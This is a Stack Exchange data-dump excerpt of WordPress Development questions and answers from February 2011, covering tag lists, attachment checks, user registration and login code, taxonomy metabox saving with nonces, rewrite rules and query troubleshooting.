  <row Id="9005" PostTypeId="2" ParentId="8997" CreationDate="2011-02-09T19:07:30.173" Score="1" ViewCount="" Body="&lt;p&gt;try :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_tag_list_123($sep){&#xA;    $tags = get_tags();&#xA;&#xA;    foreach ($tags as $tag){&#xA;        $ret[]= $tag-&amp;gt;name;&#xA;    }&#xA;    return implode($sep, $ret);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and call it when you need like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo my_tag_list_123(',');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-09T19:07:30.173" CommentCount="2" />
  <row Id="9006" PostTypeId="2" ParentId="9003" CreationDate="2011-02-09T19:10:35.670" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_attachment&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_attachment()&lt;/code&gt;&lt;/a&gt; doesn't work like that - it is conditional tag to detect attachment page, not availability of attachments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't remember any ready-made function to fetch/check for all attachments. Just use your &lt;code&gt;get_post()&lt;/code&gt; call from &lt;code&gt;get_thumb()&lt;/code&gt; - if it fetches nothing then there are no attachments.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-09T19:10:35.670" />
  <row Id="9007" PostTypeId="2" ParentId="8996" CreationDate="2011-02-09T19:20:32.767" Score="2" ViewCount="" Body="&lt;p&gt;try GD star rating and look into the options and tweak it to be displayed only on specific pages &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the settings page of GD star rating there is the following : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Auto insert rating code:    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For individual posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For individual pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For posts displayed in Archives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For posts displayed on Front Page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For posts displayed on Search results&lt;/p&gt;&#xA;&#xA;&lt;p&gt;make sure to choose &lt;strong&gt;For individual pages.&lt;/strong&gt; then it should show on pages only&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to exclude some pages, you might have to look into the code and exclude some pageId - but i think , this will get you a bit closer :)&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-02-09T19:20:32.767" />
  <row Id="9008" PostTypeId="2" ParentId="8996" CreationDate="2011-02-09T19:20:37.040" Score="0" ViewCount="" Body="&lt;p&gt;just to add to what Rarst answered, you can create Custom Post Type not to emulate Comments but as stub posts with no ui.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then to every Author on your site add a custom user metadata that will hold a post id of your newly made post type (one per each author) and in your author template before you call the comment loop\form set the global $post to that post id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//save the true post id&#xA;$true_id = $post-&amp;gt;ID;&#xA;// populate $post with the stub post&#xA;$author_post_id = get_user_meta($user_id, author_post_id,true);&#xA;query_posts(&quot;p=$author_post_id&quot;);&#xA;the_post();&#xA;&#xA;//fool wordpress to think we are on a single post page&#xA;$wp_query-&amp;gt;is_single = true;&#xA;//get comments&#xA;comments_template();&#xA;//reset wordpress to ture post&#xA;$wp_query-&amp;gt;is_single = false;&#xA;query_posts(&quot;p=$true_id&quot;);&#xA;the_post();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now going back and updating all of your existing users could be a pain, but for newly create user you can create the stub post type id for user metadata on registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you can use any rating plugin that is based on posts now that you have a post (you custom post type) associated with each author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this makes sense.&#xA;Ohad.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-09T19:20:37.040" CommentCount="2" />
  <row Id="9009" PostTypeId="2" ParentId="9000" CreationDate="2011-02-09T19:25:57.597" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-pagenavi/&quot; rel=&quot;nofollow&quot;&gt;wp-pagenavi&lt;/a&gt;&#xA;its a plugin which adds advanced paging navigation to your WordPress site just like you asked.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-09T19:25:57.597" CommentCount="1" />
  <row Id="9010" PostTypeId="2" ParentId="8998" CreationDate="2011-02-09T19:39:51.640" Score="1" ViewCount="" Body="&lt;p&gt;Basically to log a user in you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            //Login the user&#xA;    $creds = array();&#xA;    $creds['user_login'] = $login;&#xA;    $creds['user_password'] = $password;&#xA;    if ( !empty( $remember ) ){ &#xA;        $creds['remember'] = true;&#xA;    }&#xA;    $user = wp_signon( $creds, true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but that is only when you have the password and login&#xA;so you can create your own register form and process it and create the user yourself&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Only after Everything has been validated, proceed with creating the user&#xA;        //Create the user&#xA;        $user_pass = wp_generate_password();&#xA;        $user = array(&#xA;            'user_login' =&amp;gt; $username,&#xA;            'user_pass' =&amp;gt; $user_pass,&#xA;            'first_name' =&amp;gt; $firstname,&#xA;            'last_name' =&amp;gt; $lastname,&#xA;            'user_email' =&amp;gt; $email&#xA;        );&#xA;        $user_id = wp_insert_user( $user );&#xA;&#xA;        /*Send e-mail to admin and new user - &#xA;        You could create your own e-mail instead of using this function*/&#xA;        wp_new_user_notification( $user_id, $user_pass );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here we have both login and password so you can log the user in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-09T19:39:51.640" CommentCount="2" />
  <row Id="9011" PostTypeId="1" CreationDate="2011-02-09T19:43:26.787" Score="1" ViewCount="74" Body="&lt;p&gt;I'm using the list-category-posts on this page: &lt;a href=&quot;http://www.goldcoastchamber.com/member-directory/&quot; rel=&quot;nofollow&quot;&gt;http://www.goldcoastchamber.com/member-directory/&lt;/a&gt; to pull in the links to all the posts under the member-directory category. That part is working, but for some reason it's not putting them in alphabetical ascending order, even though I used that argument, as you can see here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[catlist name=member-directory, orderby=title, order=ASC, numberposts=-1]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please advise why this is not working. thanks!&lt;/p&gt;&#xA;" LastActivityDate="2011-02-09T20:05:11.307" Title="having trouble with my list category posts plugin" Tags="&lt;plugin-list-category-post&gt;" AnswerCount="1" />
  <row Id="9012" PostTypeId="2" ParentId="8995" CreationDate="2011-02-09T19:43:38.270" Score="0" ViewCount="" Body="&lt;p&gt;According the the &lt;a href=&quot;http://codex.wordpress.org/Post_to_your_blog_using_email#Extensions_and_Add-ons&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Posting by email does not support attachments and any attachments sent with the email will appear in their raw form in the blog post. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-09T19:43:38.270" CommentCount="1" />
  <row Id="9013" PostTypeId="2" ParentId="9011" CreationDate="2011-02-09T20:05:11.307" Score="2" ViewCount="" Body="&lt;p&gt;Not sure but i think you don't need to use commas , so try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[catlist name=member-directory orderby=title order=ASC numberposts=-1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-09T20:05:11.307" CommentCount="2" />
  <row Id="9014" PostTypeId="1" CreationDate="2011-02-09T20:14:09.803" Score="0" ViewCount="181" Body="&lt;p&gt;The query below is causing me some issues on WP 2.9.2 and I'm trying to rewrite it to be more efficient and less error prone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of the query is to obtain a collection of those posts which are &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) in the category named &quot;top-menu&quot; and status of &quot;published&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) not in the category named &quot;hidden&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(3) limits the number of menu items by a $menuCount variable that should be set in theme options&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(4) Adds a current-page class to an element if its the current post being viewed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(5) If there are more menus available than the $menuCount allows for, adds a &quot;View All&quot; link to the last element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I improve this script or perhaps rewrite it to be more efficient?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat=get_cat_ID('top-menu');&#xA;$catHidden=get_cat_ID('hidden');&#xA;$my_menu_count=get_option('my_current_count');&#xA;//Just need to find the total number of posts that meet the criteria&#xA;//this allows us to limit the menu items to display by the $my_menu_count &#xA;$myqueryTopMenu = new WP_Query();&#xA;$myqueryTopMenu-&amp;gt;query(array('cat' =&amp;gt; &quot;$cat,-$catHidden&quot;,'post_not_in' =&amp;gt; get_option('sticky_posts')));&#xA;$mypostsheadercount = $myqueryTopMenu-&amp;gt;found_posts;&#xA;&#xA;if($mypostsheadercount &amp;gt; 0){&#xA;    global $post;&#xA;    $count = 0;&#xA;    $mypostsheader = get_posts(array('cat' =&amp;gt; &quot;$cat,-$catHidden&quot;,'numberposts' =&amp;gt; $my_menu_count));&#xA;    $current_page = get_post( $current_page );&#xA;    echo '&amp;lt;div class=&quot;menu top&quot;&amp;gt;&amp;lt;ul&amp;gt;';&#xA;            foreach($mypostsheader as $idx=&amp;gt;$post){&#xA;                //if the current post is the same as this one, add a highlight class for css&#xA;                if ( $post-&amp;gt;ID == $current_page-&amp;gt;ID ){&#xA;                    $home_menu = ' class=&quot;current_page_item';&#xA;                    } &#xA;                else &#xA;                    {&#xA;                    $home_menu = ' class=&quot;page_item';&#xA;                    }&#xA;                //count variable identifies the last menu item so we dont add a separator to it&#xA;                $count++;&#xA;                if (($mypostsheadercount &amp;gt; $my_menu_count) &amp;amp;&amp;amp; $my_menu_count &amp;gt; -1)&#xA;                    {&#xA;                    $myval=1;&#xA;                    }&#xA;                else&#xA;                    {&#xA;                    $myval=0;&#xA;                    }   &#xA;                $myclass = ($count == count($mypostsheader) + $myval ? $home_menu.' last&quot;' : $home_menu.'&quot;');&#xA;                // Finally! The link item ?&amp;gt; &#xA;                &amp;lt;li&amp;lt;?php echo $myclass ?&amp;gt;&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php }&#xA;    echo '&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;'; } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-02-09T20:22:36.043" LastActivityDate="2011-02-09T20:22:36.043" Title="Custom menu script optimization" Tags="&lt;wp-query&gt;&lt;menus&gt;" CommentCount="5" />
  <row Id="9015" PostTypeId="1" AcceptedAnswerId="9021" CreationDate="2011-02-09T20:32:09.373" Score="0" ViewCount="336" Body="&lt;p&gt;I've roughly followed the &lt;a href=&quot;http://shibashake.com/wordpress-theme/wordpress-custom-taxonomy-input-panels&quot; rel=&quot;nofollow&quot;&gt;tutorial here&lt;/a&gt; on how to create &quot;custom taxonomy input panels&quot;. I'm using a custom post type of &lt;code&gt;homes&lt;/code&gt; and a custom taxonomy called &lt;code&gt;beds&lt;/code&gt; (used to record the number of beds in a house). I've got the taxonomy terms showing up in a drop down menu, but cannot get them to save when the post is saved. I started to just post the code that is intended to save the term, but realized that I should post the code that creates and displays the metabox as well, for context. The custom post type name is 'homes' and the custom taxonomy name is 'beds'. The taxonomy is hierarchical (not that I think that matters in this case, but I could be wrong).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//adding metaboxes for the homes post type&#xA;function add_homes_metaboxes() {&#xA;    add_meta_box( 'blackstone_homes_beds', 'Beds', 'blackstone_homes_beds', 'homes', 'side', 'default' );&#xA;}&#xA;&#xA;function add_homes_menus() {&#xA;    if ( !is_admin() )&#xA;        return;&#xA;    add_action( 'admin_menu', 'add_homes_metaboxes' );&#xA;    /* Use the save_post action to save new post data */&#xA;    add_action( 'save_post', 'save_taxonomy_data' );&#xA;}&#xA;&#xA;add_homes_menus();&#xA;&#xA;function blackstone_homes_beds( $post ) {&#xA;&#xA;    echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;beds_noncename&quot; id=&quot;beds_noncename&quot; value=&quot;' .&#xA;    wp_create_nonce( 'taxonomy_beds' ) . '&quot; /&amp;gt;';&#xA;&#xA;    // Get all theme taxonomy terms&#xA;    $beds = get_terms( 'beds', 'hide_empty=0' );&#xA;    $stuff = array( 'this', 'that' );&#xA;    //print_r($beds);&#xA;?&amp;gt;&#xA;&amp;lt;select name='homes_beds' id='homes_beds'&amp;gt;&#xA;    &amp;lt;!-- Display beds as options --&amp;gt;&#xA;&amp;lt;?php&#xA;    $names = wp_get_object_terms( $post-&amp;gt;ID, 'beds' );&#xA;?&amp;gt;&#xA;    &amp;lt;option class='beds-option' value=''&#xA;            &amp;lt;?php if ( !count( $names ) )&#xA;                echo &quot;selected&quot;; ?&amp;gt;&amp;gt;None&amp;lt;/option&amp;gt;&#xA;            &amp;lt;?php&#xA;            foreach ( $beds as $bed ) {&#xA;                if ( !is_wp_error( $names ) &amp;amp;&amp;amp; !empty( $names ) &amp;amp;&amp;amp; !strcmp( $bed-&amp;gt;slug, $names[0]-&amp;gt;slug ) )&#xA;                    echo &quot;&amp;lt;option class='beds-option' value='&quot; . $bed-&amp;gt;slug . &quot;' selected&amp;gt;&quot; . $bed-&amp;gt;name . &quot;&amp;lt;/option&amp;gt;\n&quot;;&#xA;                else&#xA;                    echo &quot;&amp;lt;option class='beds-option' value='&quot; . $bed-&amp;gt;slug . &quot;'&amp;gt;&quot; . $bed-&amp;gt;name . &quot;&amp;lt;/option&amp;gt;\n&quot;;&#xA;            }&#xA;            ?&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&#xA;&amp;lt;?php&#xA;        }&#xA;&#xA;        function save_taxonomy_data( $post_id ) {&#xA;// verify this came from our screen and with proper authorization.&#xA;&#xA;            if ( !wp_verify_nonce( $_POST['beds_noncename'], 'taxonomy_beds' ) ) {&#xA;                return $post_id;&#xA;            }&#xA;&#xA;            // verify if this is an auto save routine. If it is our form has not been submitted, so we dont want to do anything&#xA;            if ( defined( 'DOING_AUTOSAVE' ) &amp;amp;&amp;amp; DOING_AUTOSAVE )&#xA;                return $post_id;&#xA;&#xA;            // Check permissions&#xA;            if ( 'homes' == $_POST['post_type'] ) {&#xA;                if ( !current_user_can( 'edit_page', $post_id ) )&#xA;                    return $post_id;&#xA;            } else {&#xA;                if ( !current_user_can( 'edit_post', $post_id ) )&#xA;                    return $post_id;&#xA;            }&#xA;&#xA;            // OK, we're authenticated: we need to find and save the data&#xA;            $post = get_post( $post_id );&#xA;            if ($post-&amp;gt;post_type == 'homes'){&#xA;                $beds = $_POST['homes_beds'];&#xA;                wp_set_object_terms( $post_id, $beds, 'beds' );&#xA;            }&#xA;            return $beds;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know there's another &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1794/need-help-in-saving-taxonomy-terms-85-solved-just-need-some-help&quot;&gt;very similar question&lt;/a&gt; here already, but the solution to it uses the WPAlchemy class, and I'd rather not do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on what I might have wrong? I've been staring at this all day, so I fully expect to find out I've just got a variable name off by one character or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here's what I changed to get it working correctly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of echoing the hidden field with the nonce, I used &lt;code&gt;wp_nonce_field( __FILE__, 'taxonomy_beds' );&lt;/code&gt; and when verifying the nonce, I used &lt;code&gt;if ( !wp_verify_nonce( $_POST['taxonomy_beds'], __FILE__ ) )&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-02-09T21:58:04.947" LastActivityDate="2011-02-11T21:27:44.623" Title="Unable to save custom taxonomy terms in a custom-built metabox" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;metabox&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="9016" PostTypeId="1" AcceptedAnswerId="9069" CreationDate="2011-02-09T20:44:13.153" Score="0" ViewCount="327" Body="&lt;p&gt;Hey there, I am sooo frustrated, asked and asked and can't seem to get an answer. Pleaseeeee help, I'll be very very clean whith my problem. I'll give hundreds of bears to the one who can help:)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I have a blog installed &lt;a href=&quot;http://www.myblog.com&quot; rel=&quot;nofollow&quot;&gt;http://www.myblog.com&lt;/a&gt; - &lt;strong&gt;it's part of a network, I use wordpress multisite&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;I created a table called cars&lt;/strong&gt; with 60 rows - &lt;strong&gt;it's not a wordpress table&lt;/strong&gt;, it's my own custom table but I have created it inside the wordpress database.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On my blog theme, editing index.php, I display the records from the table &lt;strong&gt;cars&lt;/strong&gt;, 10 rows per page and I write a custom pagination script with no relation what so ever with my wordpress pagination.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now i have the following links: &lt;br /&gt;&#xA;www.myblog.com/index.php?currentpage=1&lt;br /&gt;&#xA;www.myblog.com/index.php?currentpage=2&lt;br /&gt;&#xA;and so on untill ... &lt;br /&gt;&#xA;www.myblog.com/index.php?currentpage=6&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I rewrite them to pretty goole friendly links?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ideea one:&lt;/strong&gt; since they are not actually related to the wordpress blog, should I edit htaccess? I believe wordpress .htacces rules override any custom rules i put there... if you know a solution please share...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ideea two:&lt;/strong&gt; Tried to use wordpress rules and edited functions.php like so, with no luck:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpa5413_init' ); &#xA;    function wpa5413_init() {     &#xA;        add_rewrite_rule(           &#xA;            '^/\?currentpage/(\d*)$',         &#xA;            'index.php?currentpage=$matches[1]',  &#xA;            'top' ); &#xA;    }&#xA;&#xA;    add_filter('query_vars', 'wpa3537_query_vars'); &#xA;    function wpa3537_query_vars($query_vars) {     &#xA;        $query_vars[] = 'currentpage';     &#xA;        return $query_vars;&#xA;    } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please help me, honestly, I can even pay, I am soo frustraed... doing this work after my dayjob, it's been days of not sleeping, just need to make this happen, pleaseeeeeeeeeeeeeeeee&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS don't vote down my question, i see others are struggeling with similar issues&lt;/p&gt;&#xA;" OwnerUserId="2979" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-11T13:11:51.590" LastActivityDate="2011-02-11T13:11:51.590" Title="Own code on index.php wordpress theme file, help with the rewrite rules" Tags="&lt;url-rewriting&gt;&lt;custom-content&gt;" AnswerCount="2" FavoriteCount="0" />
  <row Id="9017" PostTypeId="1" AcceptedAnswerId="9019" CreationDate="2011-02-09T21:18:22.547" Score="1" ViewCount="138" Body="&lt;p&gt;I want to display a message like &quot;You must be logged in to view this&quot;, with Private custom posts. Theoretically, I want to use something like this:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (is_user_logged_in()) {&lt;br&gt;&#xA;   // Page code goes here&lt;br&gt;&#xA;   }&lt;br&gt;&#xA;  else {&lt;br&gt;&#xA;    echo &quot;You must be logged in to view this page.&quot;;&lt;br&gt;&#xA;  }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code is in the single-custom.php page template.&lt;br&gt;&#xA;The &lt;code&gt;true&lt;/code&gt; case works just fine. However, if the user is not logged in, instead of seeing &quot;You must be logged in...&quot; I get a 404 instead? What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-02-09T21:58:03.853" Title="How do I display content to users who are not logged in instead of 404 on Private custom posts?" Tags="&lt;custom-post-types&gt;&lt;404-error&gt;&lt;private&gt;" AnswerCount="1" />
  <row Id="9018" PostTypeId="2" ParentId="9016" CreationDate="2011-02-09T21:22:26.187" Score="0" ViewCount="" Body="&lt;p&gt;What kind of &quot;pretty Google friendly links&quot; do you mean exactly? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than messing with the rewrite rules, it may be easier to move your custom code to a &lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;custom page template&lt;/a&gt;, then add a new Page which uses that template, then set your site home page to that static page in Settings &gt; Reading. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again though - not sure what you want to have happen for the pagination. Sorry if I'm way off base in trying to help! :)&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-02-09T21:22:26.187" CommentCount="2" />
  <row Id="9019" PostTypeId="2" ParentId="9017" CreationDate="2011-02-09T21:31:29.353" Score="1" ViewCount="" Body="&lt;p&gt;Are you doing this inside The Loop? I'd try something like this myself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($post-&amp;gt;post_status == &quot;private&quot; &amp;amp;&amp;amp; !is_user_logged_in()) {&#xA;    echo &quot;You must be logged in to view this page.&quot;;&#xA;} else if( $post-&amp;gt;post_status == &quot;private&quot; &amp;amp;&amp;amp; is_user_logged_in() ) {&#xA;    // Page code goes here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1860" LastEditorUserId="1860" LastEditorDisplayName="" LastEditDate="2011-02-09T21:58:03.853" LastActivityDate="2011-02-09T21:58:03.853" CommentCount="5" />
  <row Id="9020" PostTypeId="1" AcceptedAnswerId="9022" CreationDate="2011-02-09T21:36:07.127" Score="0" ViewCount="96" Body="&lt;p&gt;I've been puzzling over this one for two days. Still can't figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm testing a theme release in multiple versions of WordPress using xampplite on localhost on a PC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having a problem on WP 2.9.2 that does not occur on any other newer installations of WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the query below. As long as I leave the commented line in place, it works fine. However, when I uncomment the line, it crashes my xampplite Apache server. WTF?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$the_query = new WP_Query(array(&#xA;  'posts_per_page' =&amp;gt; 5,&#xA;  'offset' =&amp;gt; 0, &#xA;  'order' =&amp;gt; 'ASC',&#xA;  'post__not_in' =&amp;gt; get_option(&quot;sticky_posts&quot;),&#xA;//  'cat' =&amp;gt; get_cat_ID('top-menu'),&#xA;  ));&#xA;print &quot;&amp;lt;p&amp;gt;header.php&quot;;exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've even tried to hard code the cat attribute to a static number:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'cat' =&amp;gt; 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It still crashes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a problem with the code, wordpress 2.9.2 or with my Xamplite setup? Seems odd that it works in all newer other versions of WP I've got set up on this same box.&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-02-09T22:15:20.243" LastActivityDate="2011-03-11T22:32:35.450" Title="Is there ANYTHING about this query that's incompatible with WordPress 2.9.2?" Tags="&lt;wp-query&gt;&lt;xampp&gt;&lt;debug&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="9021" PostTypeId="2" ParentId="9015" CreationDate="2011-02-09T21:39:25.983" Score="1" ViewCount="" Body="&lt;p&gt;I believe your problem might be nonce-related. I see you're doing what I did at one point with &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6902/updating-post-meta-for-custom-post-types&quot;&gt;a problem I had&lt;/a&gt; when I tried doing nonces the way you're using them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll quote @&lt;strong&gt;EAMann&lt;/strong&gt; on this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The standard way to create this field&#xA;  is using WordPress' &lt;code&gt;wp_nonce_field()&lt;/code&gt;&#xA;  function.  It will add the hidden&#xA;  field for you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nonce_field( __FILE__, 'argus_edit_visitor' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Try that, see if it works. I don't see anything else wrong with your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, try &lt;code&gt;print_r( $_POST['beds'] )&lt;/code&gt; to reveal what is being submitted in &lt;code&gt;$_POST['beds']&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-02-09T21:39:25.983" CommentCount="1" />
  <row Id="9022" PostTypeId="2" ParentId="9020" CreationDate="2011-02-09T21:45:42.413" Score="0" ViewCount="" Body="&lt;p&gt;The only thing I see as even close to syntactically questionable is that &lt;code&gt;showposts&lt;/code&gt; could be replaced with &lt;code&gt;posts_per_page&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-02-09T21:45:42.413" CommentCount="2" />
  <row Id="9023" PostTypeId="1" AcceptedAnswerId="9033" CreationDate="2011-02-09T21:55:06.783" Score="0" ViewCount="79" Body="&lt;p&gt;Let's say I buy a custom domain myblog.com and I host at wordpress... if I access the dashboard page on my blog, will it have wordpress.com in the URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to manage my blog behind school firewall.. thanks&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="2322" LastEditorDisplayName="" LastEditDate="2011-02-09T22:12:32.200" LastActivityDate="2011-02-09T23:39:51.950" Title="Does wordpress.com appears in the URL if I buy custom domain service from WP.com" Tags="&lt;wordpress.com&gt;&lt;domain-mapping&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="9024" PostTypeId="2" ParentId="9003" CreationDate="2011-02-09T22:02:54.707" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function has_image_attachment($post_id) {&#xA;    $args = array(&#xA;        'post_type' =&amp;gt; 'attachment',&#xA;        'post_mime_type' =&amp;gt; 'image/jpeg',&#xA;        'numberposts' =&amp;gt; -1,&#xA;        'post_status' =&amp;gt; null,&#xA;        'post_parent' =&amp;gt; $post_id&#xA;    ); &#xA;&#xA;    $attachments = get_posts($args);&#xA;&#xA;    if(is_array($attachments) &amp;amp;&amp;amp; count($attachments) &amp;gt; 0) {&#xA;       //Has image attachments&#xA;       return true;&#xA;    } else {&#xA;       return false;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1860" LastEditorUserId="1860" LastEditorDisplayName="" LastEditDate="2011-02-09T22:09:47.743" LastActivityDate="2011-02-09T22:09:47.743" CommentCount="2" />
  <row Id="9025" PostTypeId="2" ParentId="9015" CreationDate="2011-02-09T22:14:03.257" Score="0" ViewCount="" Body="&lt;p&gt;I don't see the save function hooking into &lt;code&gt;save_post&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding this to the end.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'save_post' , 'save_taxonomy_data' , 1, 2); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-02-09T22:14:03.257" CommentCount="2" />
